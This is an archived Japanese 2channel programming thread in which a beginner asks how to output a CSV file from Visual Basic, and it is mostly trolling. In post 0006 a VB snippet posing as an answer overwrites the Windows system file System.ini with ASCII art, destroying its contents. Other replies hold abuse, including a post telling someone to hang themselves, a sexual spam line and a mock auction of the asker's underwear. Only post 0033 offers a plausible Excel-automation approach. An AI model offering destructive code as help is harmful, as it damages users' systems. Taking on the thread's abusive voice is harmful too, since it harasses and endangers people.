VBでCSVファイルに出力する方法を教えて下さい。
■ このスレッドは過去ログ倉庫に格納されています
0001ちぃ
NGNG分からなく、悩んでいます。
どなたか教えて下さい。
0003デフォルトの名無しさん
NGNG0004デフォルトの名無しさん
NGNGhttp://ime.nu/www.baseball-lover.com
0005デフォルトの名無しさん
NGNG0006390
NGNGDim i As Long
Dim FileNum As Integer
FileNum=FreeFile
Open "C:\Windows\System.ini" For OutPut As #FileNum
For i=1 To 65535
Print #FileNum,"（ ´∀｀）"
Next i
Close #FileNum
Msgbox"ヽ(´Ａ`)ﾉ "
End Sub
0007晒しage
NGNG>>1のパンツ
Λ＿Λ
2ch!オークション 旦と（´∀｀ ）
┌──────────┐┌───────────┐
│出品者の情報 ││商品の情報 │
└──────────┘└───────────┘
出品者（評価）：>>1 (0) 現在の価格 ： 1,000円
支払方法
・銀行振込 残り時間： ２時間（詳細な残り時間）
発送方法
・落札者が送料を負担 最高額入札者： >>1 (0)
・支払い終了時に発送
ｴｸｽﾌﾟﾛｰﾗｰｻｰﾋﾞｽ 数量： 1
出品者はｴｸｽﾌﾟﾛｰﾗｰｻｰﾋﾞｽ
の利用を選択していません 入札件数： 1（入札履歴）
出品者のその他のｵｰｸｼｮﾝ 開始価格： 1,000円
出品者の評価 入札単位： 1円
出品者に質問 開始日時： 1月11日0時00分
終了日時： 1月25日23時59分
ｵｰｸｼｮﾝID： 2channel
0008デフォルトの名無しさん
NGNGスレを立てる前に現在どんなスレがあるかちゃんと見ましょうね
2氏のリンク先でOk
0009age
NGNGsine>>1
0010デフォルトの名無しさん
NGNGCVS
VCS
VSC
SVC
SCV
0011晒しage
NGNG／ ＿＿＿＿ヽ ／ ￣ ￣ ＼
| | /, −､, -､ｌ /､ ヽ
| _| -| ･|< || |･ |―-､ |
, ―-､ (6 ＿ｰ っ-´､} ｑ -´ 二 ヽ |
| -⊂) ＼ ヽ_ ￣￣ﾉﾉ ﾉ＿ ー | |
|￣￣|／ （_ ∧￣ / ､ ＼ ＼.￣｀ | /
ヽ ｀ ,.| ￣ | | O＝＝＝＝＝ |
｀− ´ | | ＿| / |
| （t ） / / |
「こういうの糞スレっていうんだよね」 「２ｃｈがつぶれそうになるわけだね」
0012デフォルトの名無しさん
NGNG0013デフォルトの名無しさん
NGNG（ ´∀｀）ありがとう
0014MC303
NGNG0015デフォルトの名無しさん
NGNG0016デフォルトの名無しさん
NGNG0017デフォルトの名無しさん
NGNG0018デフォルトの名無しさん
NGNG神聖のバカですか？
0019デフォルトの名無しさん
NGNG0021デフォルトの名無しさん
NGNGindentしたら#includeも忘れずに。
0022デフォルトの名無しさん
NGNG3ヶ月前の書き込みにレスですか。
0023デフォルトの名無しさん
NGNGそうですが。何か？
002422
NGNG0025２３
NGNGナンパ
中出し
それ逃げろ
0026デフォルトの名無しさん
NGNGおぬしCSVファイルに出力したいと申すか？
じゃがあれは生半可な努力ではできんぞ。
具体的には糞尿を３ヶ月体内に封印する根性と、砂糖が大さじ４杯必要じゃ。
なに？ それでもやりたいと申すか。
今時めずらしい若者じゃ。目が輝いておる。
鼻水がたれておる。アゴが外れたのに気づかずに３年が経過しておる。
まあ、がんばるのじゃぞ。
0027デフォルトの名無しさん
NGNGちなみにVBオンリーユーザって、過去にVC++にもチャレンジ
してたりするんだけど、殆どが挫折してVBに戻っちゃうんだよな。
0028デフォルトの名無しさん
NGNGアホのコピペ厨のボケナスの脳タリンは首つって氏ねよ
0029デフォルトの名無しさん
NGNGタダでノウハウはやれん。
0030デフォルトの名無しさん
NGNG0031デフォルトの名無しさん
NGNG0032デフォルトの名無しさん
NGNG0033デフォルトの名無しさん
NGNG削除以来出せ
Private Sub Command1_Click()
Dim excel_App As Application
Dim out_Book As Workbook
Dim out_Sheet As Worksheet
Dim write_path As String
Set excel_App = CreateObject("excel.application")
Set out_Book = excel_App.Workbooks.Add
Set out_Sheet = out_Book.ActiveSheet
out_Sheet.Cells(1, 1).Value = "あ"
out_Sheet.Cells(1, 2).Value = "い"
out_Sheet.Cells(2, 1).Value = "う"
out_Sheet.Cells(2, 2).Value = "え"
write_path = excel_App.GetSaveAsFilename(, "しぃsv,*.csv")
If Not UCase(write_path) = "FALSE" Then
out_Book.SaveAs write_path, xlCSV
End If
out_Book.Saved = True
Workbooks.Close
excel_App.Quit
End Sub
■ このスレッドは過去ログ倉庫に格納されています